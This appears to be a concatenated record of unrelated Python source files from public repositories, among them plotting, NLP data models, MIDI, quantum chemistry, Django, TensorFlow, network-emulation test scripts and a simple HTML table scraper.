plt.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1],
joints[[0, 13, 14, 15, 16], 2],
colors[i],
)
plt.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1],
joints[[0, 17, 18, 19, 20], 2],
colors[i],
)
#######
# plt.plot(joints[:1, 0], joints[:1, 1],
# joints[:1, 2],
# colors[i],
# )
#
# plt.plot(joints[[0, 5, ], 0], joints[[0, 5, ], 1],
# joints[[0, 5, ], 2],
# colors[i],
# )
# plt.plot(joints[[0, 9, ], 0], joints[[0, 9, ], 1],
# joints[[0, 9,], 2],
# colors[i],
# )
# plt.plot(joints[[0, 13, ], 0], joints[[0, 13, ], 1],
# joints[[0, 13, ], 2],
# colors[i],
# )
# plt.plot(joints[[0, 17, ], 0], joints[[0, 17, ], 1],
# joints[[0, 17, ], 2],
# colors[i],
# )
# snap convention
plt.plot(joints[4][0], joints[4][1], joints[4][2], 'rD')
plt.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', )
plt.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', )
plt.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', )
plt.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', )
# plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o')
plt.title(title)
ax.set_xlabel('x')
ax.set_ylabel('y')
ax.set_zlabel('z')
plt.legend()
# ax.view_init(330, 110)
ax.view_init(-90, -90)
if title:
title_ = ""
for i in range(len(title)):
title_ += "{}: {} ".format(colors[i], title[i])
ax.set_title(title_, fontsize=12, color='black')
else:
ax.set_title("None", fontsize=12, color='black')
plt.show()
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] |
src/datamodel/ecb_plus/document.py | vedmathai/timeline | 0 | 171289 | <filename>src/datamodel/ecb_plus/document.py
import xml.etree.ElementTree as ET
import typing
from typing import Dict, List
from timeline.src.datamodel.ecb_plus.text import Token
from timeline.src.datamodel.ecb_plus.text import Sentence
from timeline.src.datamodel.ecb_plus.markable import Markable
if typing.TYPE_CHECKING:
from timeline.src.datamodel.ecb_plus.context import Context
class Document():
def __init__(self, xml_file: str = '') -> None:
self._id = id
self._xml_file = xml_file
self._sentences: Dict[str, Sentence] = {}
self._markables: Dict[str, Markable] = {}
def id(self) -> str:
return self._xml_file
def sentences(self) -> Dict[str, Sentence]:
return self._sentences
def markables(self) -> Dict[str, Markable]:
return self._markables
def sentence_by_id(self, id: str) -> Sentence:
return self._sentences[id]
def markable_by_id(self, id: str) -> Markable:
return self._markables[id]
def set_sentences(self, sentences: List[Sentence]) -> None:
self._sentences = {sentence.id(): sentence for sentence in sentences}
def set_markables(self, markables: List[Markable]) -> None:
self._markables = {markable.id(): markable for markable in markables}
def text(self) -> str:
sentences: List[str] = []
for sentence in self._sentences.values():
sentences += [sentence.text()]
return ' '.join(sentences)
@staticmethod
def from_xml(xml_file: str, context: 'Context'):
tree = ET.parse(xml_file)
root = tree.getroot()
file_name = root.attrib['doc_name']
document = Document(xml_file=file_name)
for el in root.findall('token'):
Token.from_xml(el=el, context=context, document=document)
sentences = context.get_sentences_by_document(document=document)
document.set_sentences(sentences=sentences)
markables = root.find('Markables')
for el in markables.getchildren():
markable = Markable.from_xml(el=el, context=context, document=document)
document.set_markables(context.get_markables_by_document(document=document))
relations = root.find('Relations')
for el in relations.getchildren():
sources: List[str] = []
if 'note' not in el.attrib:
continue
entity = context.get_entity_by_id(el.attrib['note'])
for el2 in el.getchildren():
if el2.tag == 'source':
id = el2.attrib['m_id']
markable = document.markable_by_id(id)
entity.add_markable(markable)
markable.set_entity(entity=entity)
return document
if __name__ == '__main__':
from timeline.src.datamodel.ecb_plus.context import Context
doc = Document.from_xml('/Users/vedmathai/Documents/python/temporal/data/ECB+_LREC2014/ECB+/1/1_2ecbplus.xml', Context())
print([sentence.text() for sentence in doc.sentences().values()]) | [
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ymidi/containers.py | Owen-Cochell/yapmidi | 0 | 47180 | <filename>ymidi/containers.py
"""
Components that house MIDI events and other misc. data,
"""
from dataclasses import dataclass
class TrackInfo(dataclass):
"""
An object that contains info about a specific track.
The data in this object is used for keeping track of track statistics.
We allow for these attributes to be manually defined,
and we also allow for auto-track traversal to fill in this info.
"""
pass
class TrackPattern(list):
"""
A collection of tracks.
We contain a list of tracks that contain MIDI events.
We keep track(haha) of statistics and data related to the
MIDI data we contain.
We do this by handling Meta events and yap-events.
We also support playback of the MIDI data.
This includes ALL MIDI track types,
and supports tracks that are playing at diffrent speeds.
"""
pass
class Track(list):
"""
A track of MIDI events.
We offer some useful helper methods that make
altering and adding MIDI events a relatively painless affair.
We inherit the default python list,
so we support all list operations.
"""
def __init__(self, *args):
super().__init__(*args)
self.name = '' # Name of the track
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netket/custom/ab_initio_ham.py | yannra/netket | 0 | 45568 | <filename>netket/custom/ab_initio_ham.py
import netket as nk
from netket.custom.fermionic_hilbert import Fermions
from netket.custom.fermion_operator import SparseHermitianFermionOperator, FermionSumOperators, FermionTotalSpinNumberOperator
import numpy as np
class AbInitio(FermionSumOperators):
def __init__(self, hi, one_body_mat, two_body_mat):
n_orbitals = hi.size
# 1B part
t = one_body_mat - 0.5 * np.einsum("pqqs->ps", two_body_mat)
prefactors = []
sites = []
spins = []
for i in range(n_orbitals):
for j in range(n_orbitals):
prefactors.append(t[i,j])
prefactors.append(t[i,j])
sites.append([[j, i]])
sites.append([[j, i]])
spins.append([0])
spins.append([1])
one_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8))
# 2B part
prefactors = []
sites = []
spins = []
for i in range(n_orbitals):
for j in range(n_orbitals):
for k in range(n_orbitals):
for l in range(n_orbitals):
prefactors.append(0.5*two_body_mat[i,j,k,l])
prefactors.append(0.5*two_body_mat[i,j,k,l])
prefactors.append(two_body_mat[i,j,k,l])
sites.append([[j, i],[l,k]])
sites.append([[j, i],[l,k]])
sites.append([[j, i],[l,k]])
spins.append([0,0])
spins.append([1,1])
spins.append([0,1])
two_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8))
super().__init__([one_body, two_body]) | [
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] |
clx/xms/exceptions.py | linhuiwzqu/clxcommunications | 3 | 184326 | <filename>clx/xms/exceptions.py
# -*- coding: utf-8 -*-
"""Collection of exceptions raised by the XMS SDK.
The exceptions raised by the API all inherit from the base class
:class:`ApiException`.
"""
from __future__ import absolute_import, division, print_function
class ApiException(Exception):
"""Base class for exceptions thrown within the XMS SDK"""
class UnexpectedResponseException(ApiException):
"""Raised when XMS gave an unexpected response
:param message: useful message explaining the problem
:type message: str
:param http_body: the unexpected HTTP body
:type http_body: str
.. attribute:: http_body
The unexpected HTTP body.
:type: str
"""
def __init__(self, message, http_body):
ApiException.__init__(self, message)
self.http_body = http_body
class ErrorResponseException(ApiException):
"""Exception used when XMS responded with an error message.
:param message: the human readable error message
:type message: str
:param code: the machine readable error code
:type code: str
.. attribute:: error_code
The machine readable error code.
:type: str
"""
def __init__(self, message, code):
ApiException.__init__(self, message)
self.error_code = code
class NotFoundException(ApiException):
"""Exception indicating that a requested resources did not exist in
XMS.
This exception is thrown, for example, when attempting to retrieve
a batch with an invalid batch identifier.
:param url: URL to the missing resource.
:type url: str
.. attribute:: url
The failing URL.
:type: str
"""
def __init__(self, url):
ApiException.__init__(self, 'No resource found at "%s"' % url)
self.url = url
class UnauthorizedException(ApiException):
"""Exception indicating that XMS did not accept the service plan ID
and authentication token.
:param service_plan_id: the service plan identifier
:type service_plan_id: str
:param token: the authentication token
:type token: str
.. attribute:: service_plan_id
The service plan identifier that did not pass authentication.
:type: str
.. attribute:: token
The authentication token that was not accepted.
:type: str
"""
def __init__(self, service_plan_id, token):
fmt = 'Authentication failed with service plan "%s"'
ApiException.__init__(self, fmt % service_plan_id)
self.service_plan_id = service_plan_id
self.token = token
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results/scripts/netem_rrtcp.py | andres-erbsen/rrtcp | 1 | 185211 | #!/usr/bin/python
import time
import subprocess
from config import delayIntervals, lossIntervals, tcpTestLocation, udpTestLocation, rrtcpTestLocation
def runTests():
for delay in delayIntervals:
for loss in lossIntervals:
runTest(tcpTestLocation, delay, loss, 'tcp')
#runTest(udpTestLocation, delay, loss, 'udp')
runTest(rrtcpTestLocation, delay, loss, 'rrtcp')
def runTest(testLocation, delay, loss, name):
timeToRun = 10 # seconds
outputName = name + '_' + str(delay) + '_' + str(loss)
subprocess.call("tc qdisc change dev veth-1 root netem delay " + str(delay) + "ms loss " + str(loss) + "%", shell=True)
time.sleep(.1)
print "Opening tcpdump"
subprocess.Popen("sudo tcpdump -i veth-1 -tt -l -n | tee " + outputName + ".dialer.tcpdump.out", shell=True)
time.sleep(.1)
subprocess.Popen("sudo ip netns exec other tcpdump -i veth-2 -tt -l -n | tee " + outputName + ".listener.tcpdump.out", shell=True)
print "Starting application"
time.sleep(.1)
subprocess.call( testLocation + ' -l -d ' + str(timeToRun) + 's -address 10.1.1.1:2000 > ' + outputName + '.listener.out' + ' 2>'+outputName+'.listener.err &', shell=True)
subprocess.call( testLocation + ' -d ' + str(timeToRun) + 's -address 10.1.1.1 > ' + outputName + '.dialer.out' + ' 2>'+outputName+'.dialer.err &', shell=True)
time.sleep(timeToRun + .1)
print outputName
if __name__ == '__main__':
runTests()
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usaspending_api/search/tests/test_spending_over_time.py | COEJKnight/five | 0 | 165900 | <gh_stars>0
import json
import pytest
from rest_framework import status
from usaspending_api.search.tests.test_mock_data_search import all_filters
@pytest.mark.skip
@pytest.mark.django_db
def test_spending_over_time_success(client):
# test for needed filters
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "fiscal_year",
"filters": {
"keyword": "test"
}
}))
assert resp.status_code == status.HTTP_200_OK
# test all filters
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters()
}))
assert resp.status_code == status.HTTP_200_OK
@pytest.mark.skip
@pytest.mark.django_db
def test_spending_over_time_failure(client):
"""Verify error on bad autocomplete request for budget function."""
resp = client.post(
'/api/v2/search/spending_over_time/',
content_type='application/json',
data=json.dumps({'group': 'fiscal_year'}))
assert resp.status_code == status.HTTP_400_BAD_REQUEST
@pytest.mark.django_db
def test_spending_over_time_subawards_success(client):
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters(),
"subawards": True
}))
assert resp.status_code == status.HTTP_200_OK
@pytest.mark.django_db
def test_spending_over_time_subawards_failure(client):
"""Verify error on bad autocomplete request for budget function."""
resp = client.post(
'/api/v2/search/spending_over_time',
content_type='application/json',
data=json.dumps({
"group": "quarter",
"filters": all_filters(),
"subawards": "string"
}))
assert resp.status_code == status.HTTP_400_BAD_REQUEST
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] |
webquills/sites/models.py | webquills/webquills | 0 | 68700 | <filename>webquills/sites/models.py
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db import models
from django.db.models import Case, IntegerField, Q, When
from django.http.request import split_domain_port
from django.utils.translation import gettext_lazy as _
from webquills.core.models import Author
SITE_CACHE = {}
MATCH_HOSTNAME = 0
MATCH_DOMAIN = 1
MATCH_DEFAULT = 2
class SiteManager(models.Manager):
def get_queryset(self):
return super().get_queryset().select_related("author")
def _get_for_request(self, request):
host = split_domain_port(request.get_host())[0]
if host in SITE_CACHE:
return SITE_CACHE[host]
# Special case: if subdomain not found, select site with same root domain.
# Handy for local dev with "localhost.domain.tld" but in prod you should
# redirect to the main domain.
parts = host.split(".")
domain = ".".join(parts[-2:])
if domain in SITE_CACHE:
return SITE_CACHE[domain]
sites = list(
Site.objects.annotate(
match=Case(
# annotate the results by best choice descending
# put exact hostname match first
When(domain=host, then=MATCH_HOSTNAME),
# then put root domain match
When(domain=domain, then=MATCH_DOMAIN),
# then match default with different hostname. there is only ever
# one default, so order it above (possibly multiple) hostname
# matches so we can use sites[0] below to access it
When(id=settings.SITE_ID, then=MATCH_DEFAULT),
# because of the filter below, if it's not default then its a hostname match
default=MATCH_DEFAULT,
output_field=IntegerField(),
)
)
.filter(Q(domain__in=[host, domain]) | Q(id=settings.SITE_ID))
.order_by("match")
)
if not sites:
raise self.model.DoesNotExist()
for site in sites:
# Might have returned as many as 3, may as well cache them all
SITE_CACHE[site.domain] = site
return sites[0]
def get_current(self, request=None):
"Implemented for compatibility with Django sites."
if request:
return self._get_for_request(request)
elif getattr(settings, "SITE_ID", ""):
return self.get(id=settings.SITE_ID)
raise ImproperlyConfigured(
"You're using the Webquills sites framework without having "
"set the SITE_ID setting. Create a site in your database and "
"set the SITE_ID setting or pass a request to "
"Site.objects.get_current() to fix this error."
)
def clear_cache(self):
"""Clear the ``Site`` object cache."""
global SITE_CACHE
SITE_CACHE = {}
def get_by_natural_key(self, domain):
return self.get(domain=domain)
class Site(models.Model):
class Meta:
ordering = ["domain"]
verbose_name = _("site")
verbose_name_plural = _("sites")
domain = models.CharField(
_("domain name"),
max_length=100,
unique=True,
)
name = models.CharField(_("display name"), max_length=50)
tagline = models.CharField(
_("tagline"),
max_length=255,
blank=True,
null=True,
help_text=_("Subtitle. A few words letting visitors know what to expect."),
)
author = models.ForeignKey(
Author,
verbose_name=_("author"),
on_delete=models.SET_NULL,
blank=True,
null=True,
help_text=_("Default author for any page without an explicit author"),
)
objects = SiteManager()
def __str__(self) -> str:
return self.name
def save(self, *args, **kwargs):
# Saving a site could have changed a domain, or added a new domain that
# was previously mapped to the default site. Nuke the cache to prevent
# old mappings overriding new ones.
global SITE_CACHE
super().save(*args, **kwargs)
SITE_CACHE = {}
def delete(self, *args, **kwargs):
# Hopefully we don't go around deleting sites too often, but still...
SITE_CACHE.pop(self.domain, None)
return super().delete(*args, **kwargs)
def natural_key(self):
return (self.domain,)
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reflexy/base/tests/test_reflex.py | eso/reflexy | 0 | 38477 | import unittest
from reflexy.base import reflex
class TestReflexModule(unittest.TestCase):
sof = 'datasetname|file1.fits;PRO_CATG1;PURPOSE1:PURPOSE2,file2;' \
'PRO_CAT2;PURPOSE1'
sopexp = [('long_param1', '3'), ('param2', '3'), ('param3', 'ser'),
('param_not_shown', 'none')]
sop = 'recipe_name:long_param1=3,recipe_name:param2=3,' \
'recipe_name:param3=ser,recipe_name:param_not_shown=none'
def test_parseSof(self):
r = reflex.parseSof(self.sof)
self.assertEqual(len(r), 2)
self.assertEqual(r.datasetName, 'datasetname')
f1, f2 = r.files
self.assertEqual(f1.name, 'file1.fits')
self.assertEqual(f1.category, 'PRO_CATG1')
self.assertEqual(len(f1.purposes), 2)
self.assertIn('PURPOSE1', f1.purposes)
self.assertIn('PURPOSE2', f1.purposes)
self.assertEqual(f2.name, 'file2')
self.assertEqual(f2.category, 'PRO_CAT2')
self.assertEqual(len(f2.purposes), 1)
self.assertEqual(f2.purposes[0], 'PURPOSE1')
def test_parseRoundTripJson(self):
r = reflex.parseSof(self.sof)
j = r.toJSON()
r2 = reflex.parseSofJson(j)
self.assertEqual(r, r2)
def test_parseSop(self):
r = reflex.parseSop(self.sop)
self.assertEqual(len(r), len(self.sopexp))
for p, ep in zip(r, self.sopexp):
self.assertEqual(p.recipe, 'recipe_name')
self.assertEqual(p.displayName, ep[0])
self.assertEqual(p.value, ep[1])
if __name__ == "__main__":
unittest.main()
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CS20si/examples/03_linreg_placeholder.py | kozistr/ML-Study | 5 | 69176 | """ Solution for simple linear regression example using placeholders
Created by <NAME> (<EMAIL>)
CS20: "TensorFlow for Deep Learning Research"
cs20.stanford.edu
Lecture 03
"""
import os
import time
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
import utils
DATA_FILE = 'data/birth_life_2010.txt'
# Step 1: read in data from the .txt file
data, n_samples = utils.read_birth_life_data(DATA_FILE)
# Step 2: create placeholders for X (birth rate) and Y (life expectancy)
X = tf.placeholder(tf.float32, name='X')
Y = tf.placeholder(tf.float32, name='Y')
# Step 3: create weight and bias, initialized to 0
w = tf.get_variable('weights', initializer=tf.constant(0.0))
b = tf.get_variable('bias', initializer=tf.constant(0.0))
# Step 4: build model to predict Y
Y_predicted = w * X + b
# Step 5: use the squared error as the loss function
# you can use either mean squared error or Huber loss
loss = tf.square(Y - Y_predicted, name='loss')
# loss = utils.huber_loss(Y, Y_predicted)
# Step 6: using gradient descent with learning rate of 0.001 to minimize loss
optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)
start = time.time()
writer = tf.summary.FileWriter('./graphs/linear_reg', tf.get_default_graph())
with tf.Session() as sess:
# Step 7: initialize the necessary variables, in this case, w and b
sess.run(tf.global_variables_initializer())
# Step 8: train the model for 100 epochs
for i in range(100):
total_loss = 0
for x, y in data:
# Session execute optimizer and fetch values of loss
_, l = sess.run([optimizer, loss], feed_dict={X: x, Y: y})
total_loss += l
print('Epoch {0}: {1}'.format(i, total_loss / n_samples))
# close the writer when you're done using it
writer.close()
# Step 9: output the values of w and b
w_out, b_out = sess.run([w, b])
print('Took: %f seconds' % (time.time() - start))
# plot the results
plt.plot(data[:, 0], data[:, 1], 'bo', label='Real data')
plt.plot(data[:, 0], data[:, 0] * w_out + b_out, 'r', label='Predicted data')
plt.legend()
plt.show()
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] |
bigstream/features.py | wangyuhan01/bigstream | 14 | 21026 | <reponame>wangyuhan01/bigstream<gh_stars>10-100
import numpy as np
from fishspot.filter import white_tophat
from fishspot.detect import detect_spots_log
def blob_detection(
image,
min_blob_radius,
max_blob_radius,
**kwargs,
):
"""
"""
wth = white_tophat(image, max_blob_radius)
spots = detect_spots_log(
wth,
min_blob_radius,
max_blob_radius,
**kwargs,
).astype(int)
intensities = image[spots[:, 0], spots[:, 1], spots[:, 2]]
return np.hstack((spots[:, :3], intensities[..., None]))
def get_spot_context(image, spots, vox, radius):
"""
"""
output = []
for spot in spots:
s = (spot/vox).astype(int)
w = image[s[0]-radius:s[0]+radius+1,
s[1]-radius:s[1]+radius+1,
s[2]-radius:s[2]+radius+1]
output.append( [spot, w] )
return output
def _stats(arr):
"""
"""
# compute mean and standard deviation along columns
arr = arr.astype(np.float64)
means = np.mean(arr, axis=1)
sqr_means = np.mean(np.square(arr), axis=1)
stddevs = np.sqrt( sqr_means - np.square(means) )
return means, stddevs
def pairwise_correlation(A, B):
"""
"""
# grab and flatten context
a_con = np.array( [a[1].flatten() for a in A] )
b_con = np.array( [b[1].flatten() for b in B] )
# get means and std for all contexts, center contexts
a_mean, a_std = _stats(a_con)
b_mean, b_std = _stats(b_con)
a_con = a_con - a_mean[..., None]
b_con = b_con - b_mean[..., None]
# compute pairwise correlations
corr = np.matmul(a_con, b_con.T)
corr = corr / a_std[..., None]
corr = corr / b_std[None, ...]
corr = corr / a_con.shape[1]
# contexts with no variability are nan, set to 0
corr[np.isnan(corr)] = 0
return corr
def match_points(A, B, scores, threshold):
"""
"""
# split positions from context
a_pos = np.array( [a[0] for a in A] )
b_pos = np.array( [b[0] for b in B] )
# get highest scores above threshold
best_indcs = np.argmax(scores, axis=1)
a_indcs = range(len(a_pos))
keeps = scores[(a_indcs, best_indcs)] > threshold
# return positions of corresponding points
return a_pos[keeps, :3], b_pos[best_indcs[keeps], :3]
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] |
Chapter04/html_table_parser.py | PacktPublishing/Python-Penetration-Testing-Cookbook | 48 | 138666 | <reponame>PacktPublishing/Python-Penetration-Testing-Cookbook<gh_stars>10-100
import urllib2
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib2.urlopen(url)
except Exception as e:
print e
pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(
columns=['Company', 'Contact', 'Country'],
index=range(0, 7))
row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, column_number] = column.get_text()
column_number += 1
row_number += 1
print new_table
# Uncomment the bellow line to export to csv
# new_table.to_csv('table.csv')
# Uncomment the bellow line to export to excel
# new_table.to_excel('table.xlsx')
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] |
llist_gameboard/urls.py | Plongesam/data-structures-game | 2 | 15514 | <filename>llist_gameboard/urls.py
"""
URL's for the LList Game Board app.
"""
from django.urls import path
from llist_gameboard.api import llist_api
from . import views
urlpatterns = [
# Views
path('', views.llist_game_board, name='llist-game-board'),
#Game Play API Calls For Linked List
path('llist_api', llist_api.api_overview, name='llist-game-board-api_overview'),
path('llist_api/start_game/<str:difficulty>/<str:player_ids>/<str:data_structures>', llist_api.start_game, name='llist-game-board-start_game'),
path('llist_api/board/<str:game_id>', llist_api.board, name='llist-game-board-game_status'),
path('llist_api/dig_tunnel/<str:game_id>/<str:origin>/<str:destination>', llist_api.dig_tunnel, name='llist-game-board-dig_tunnel'),
path('llist_api/dig_chamber/<str:game_id>/<str:origin>/<str:move_ant>/<str:ant>', llist_api.dig_chamber, name='llist-game-board-dig_chamber'),
path('llist_api/fill_chamber/<str:game_id>/<str:to_fill>', llist_api.fill_chamber, name='llist-game-board-fill_chamber'),
path('llist_api/spawn_ant/<str:game_id>', llist_api.spawn_ant, name='llist-game-board-spawn_ant'),
path('llist_api/forage/<str:game_id>/<str:difficulty>/<str:dest>', llist_api.forage, name='llist-game-board-forage'),
path('llist_api/move_food/<str:game_id>/<str:start>/<str:dest>', llist_api.move_food, name='llist-game-board-move_food'),
path('llist_api/move_ant/<str:game_id>/<str:start>/<str:dest>', llist_api.move_ant, name='llist-game-board-move_ant'),
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domain/types.py | Fenthick/sla_dashboard_webapp | 0 | 97946 | AgentID = str
""" Assigned by Kentik """
TestID = str
""" Assigned by Kentik """
Threshold = float
""" latency and jitter in milliseconds, packet_loss in percent (0-100) """
MetricValue = float
""" latency and jitter in milliseconds, packet_loss in percent (0-100) """
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update_supply_chain_information/supply_chains/test/test_extract_csv.py | uktrade/update-supply-chain-information | 0 | 35883 | from io import StringIO
from typing import List
import os
import csv
import re
import pytest
from django.core.management import call_command
from django.core.management.base import CommandError
from django.core.files.temp import NamedTemporaryFile
import accounts.models
from supply_chains.management.commands.ingest_csv import (
MODEL_GOV_DEPT,
MODEL_SUPPLY_CHAIN,
MODEL_STRAT_ACTION,
MODEL_STRAT_ACTION_UPDATE,
)
from supply_chains.test.factories import (
SupplyChainFactory,
StrategicActionFactory,
StrategicActionUpdateFactory,
GovDepartmentFactory,
)
pytestmark = pytest.mark.django_db
class TestExtractCSV:
DUMP_CMD = "extract_csv"
def setup_method(self):
self.data_file = NamedTemporaryFile(suffix=".csv", delete=False)
def teardown_method(self):
os.remove(self.data_file.name)
def load_csv(self) -> List:
with open(self.data_file.name) as f:
reader = csv.DictReader(f)
rows = list(reader)
return rows
def invoke_dump(self, *args):
with StringIO() as status:
call_command(self.DUMP_CMD, *args, stdout=status)
return status.getvalue()
def test_dump_accounts_data(self):
# Arrange
trade_domian = "dosac.gov.uk"
trade_name = "DOSAC"
hmrc_domain = "hmrc.gov.uk"
hmrc_name = "HMRC"
GovDepartmentFactory(email_domains=[trade_domian], name=trade_name)
GovDepartmentFactory(email_domains=[hmrc_domain], name=hmrc_name)
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 3
lookup = {x["name"]: x for x in rows}
assert (
lookup[trade_name]["name"] == trade_name
and lookup[trade_name]["email_domain_0"] == trade_domian
)
assert (
lookup[hmrc_name]["name"] == hmrc_name
and lookup[hmrc_name]["email_domain_0"] == hmrc_domain
)
def test_dump_accounts_data_multi_domain(self):
# Arrange
trade_domians = "dosac.gov.uk", "analogue.dosac.gov.uk"
trade_name = "DOSAC"
GovDepartmentFactory(email_domains=trade_domians, name=trade_name)
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 2
assert all(k in rows[0] for k in ("email_domain_0", "email_domain_1"))
def test_dump_accounts_no_data(self):
# Arrange
accounts.models.GovDepartment.objects.all().delete()
# Act
self.invoke_dump(MODEL_GOV_DEPT, self.data_file.name)
# Assert
assert os.path.exists(self.data_file.name)
assert os.stat(self.data_file.name).st_size == 0
def test_dump_sc_data(self):
# Arrange
SupplyChainFactory()
# Act
self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert re.match(f"Product ", rows[0]["name"])
def test_dump_sc_data_multiple(self):
# Arrange
SupplyChainFactory.create_batch(5)
# Act
self.invoke_dump(MODEL_SUPPLY_CHAIN, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 5
names = [x["name"] for x in rows]
assert all([x.startswith("Product ") for x in names])
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
def test_dump_sa_data(self):
# Arrange
sc = SupplyChainFactory()
StrategicActionFactory(supply_chain=sc)
# Act
self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert re.match(f"Strategic action ", rows[0]["name"])
assert rows[0]["supply_chain"] == str(sc.id)
def test_dump_sa_data_multiple(self):
# Arrange
exp_sc_ids = list()
for _ in range(4):
sc = SupplyChainFactory()
StrategicActionFactory(supply_chain=sc)
exp_sc_ids.append(str(sc.id))
# Act
self.invoke_dump(MODEL_STRAT_ACTION, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 4
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
sc_ids = [x["supply_chain"] for x in rows]
assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))])
names = [x["name"] for x in rows]
assert all([x.startswith("Strategic action ") for x in names])
def test_dump_sau_data(self):
# Arrange
sc = SupplyChainFactory()
sa = StrategicActionFactory(supply_chain=sc)
StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa)
# Act
self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 1
assert rows[0]["supply_chain"] == str(sc.id)
assert rows[0]["strategic_action"] == str(sa.id)
def test_dump_sau_data_multiple(self):
# Arrange
exp_sc_ids = list()
exp_sa_ids = list()
for _ in range(4):
sc = SupplyChainFactory()
sa = StrategicActionFactory(supply_chain=sc)
StrategicActionUpdateFactory(supply_chain=sc, strategic_action=sa)
exp_sc_ids.append(str(sc.id))
exp_sa_ids.append(str(sa.id))
# Act
self.invoke_dump(MODEL_STRAT_ACTION_UPDATE, self.data_file.name)
rows = self.load_csv()
# Assert
assert len(rows) == 4
ids = [x["id"] for x in rows]
assert len(ids) == len(set(ids))
sc_ids = [x["supply_chain"] for x in rows]
assert all([a == b for a, b in zip(sorted(sc_ids), sorted(exp_sc_ids))])
sa_ids = [x["strategic_action"] for x in rows]
assert all([a == b for a, b in zip(sorted(sa_ids), sorted(exp_sa_ids))])
def test_dump_inv_model(self):
# Arrange
inv_model = "hello world"
# Act
# Assert
with pytest.raises(CommandError, match=f"Unknown model {inv_model}"):
self.invoke_dump(inv_model, self.data_file.name)
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] |
run_pic.py | sven-mayer/VNect | 1 | 84404 | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import cv2
import numpy as np
import tensorflow as tf
from src import utils
box_size = 368
hm_factor = 8
joints_num = 21
scales = [1.0, 0.7]
limb_parents = [1, 15, 1, 2, 3, 1, 5, 6, 14, 8, 9, 14, 11, 12, 14, 14, 1, 4, 7, 10, 13]
with tf.Session() as sess:
saver = tf.train.import_meta_graph('./models/tf_model/vnect_tf.meta')
saver.restore(sess, tf.train.latest_checkpoint('./models/tf_model/'))
# saver = tf.train.import_meta_graph('./models/trained/vnect_tf-1.meta')
# saver.restore(sess, tf.train.latest_checkpoint('./models/trained/'))
graph = tf.get_default_graph()
input_batch = graph.get_tensor_by_name('Placeholder:0')
heatmap = graph.get_tensor_by_name('split_2:0')
x_heatmap = graph.get_tensor_by_name('split_2:1')
y_heatmap = graph.get_tensor_by_name('split_2:2')
z_heatmap = graph.get_tensor_by_name('split_2:3')
# from src.vnect_model import VNect
# model = VNect()
# input_batch = model.input_holder
# heatmap = model.heatmap
# x_heatmap, y_heatmap, z_heatmap = model.x_heatmap, model.y_heatmap, model.z_heatmap
# sess.run(tf.global_variables_initializer())
img = cv2.imread('./pic/test_pic.jpg')
img_square = utils.img_scale_squarify(img, box_size)
img_square = img_square[np.newaxis, ...]
hm, xm, ym, zm = sess.run([heatmap, x_heatmap, y_heatmap, z_heatmap], {input_batch: img_square/255-0.4})
joints_2d = utils.extract_2d_joints_from_heatmaps(hm[0, ...], box_size, hm_factor)
for i in range(21):
if i == 0:
himg = hm[0, :, :, i]
ximg = xm[0, :, :, i]
yimg = ym[0, :, :, i]
zimg = zm[0, :, :, i]
else:
tmp = hm[0, :, :, i]
himg = np.hstack([himg, tmp])
tmp = xm[0, :, :, i]
ximg = np.hstack([ximg, tmp])
tmp = ym[0, :, :, i]
yimg = np.hstack([yimg, tmp])
tmp = zm[0, :, :, i]
zimg = np.hstack([zimg, tmp])
all_hm = np.vstack([himg, ximg, yimg, zimg])
cv2.imshow('all heatmaps', all_hm*128)
img_res2d = utils.draw_limbs_2d(img_square[0, ...], joints_2d, limb_parents)
cv2.imshow('2D results', img_res2d)
cv2.waitKey()
cv2.destroyAllWindows()
print(hm[0, :, :, 0])
# np.savetxt('original', hm[0, :, :, 0]) | [
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] |
contohRekursif.py | muhiqsimui/PyTraining | 6 | 182278 | #rekursif adalah fungsi yg memanggil dirinya sendiri ok sip
def cetak(x):
print(x)
if x>1:
cetak(x-1)
elif x<1:
cetak(x+1)
cetak(5)
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gen/welcome.py | seen-idc/image-gen | 0 | 173736 | <reponame>seen-idc/image-gen<gh_stars>0
from io import BytesIO
from PIL import Image, ImageDraw, ImageFont
from utils import get_image
from utils.masks import circle_mask
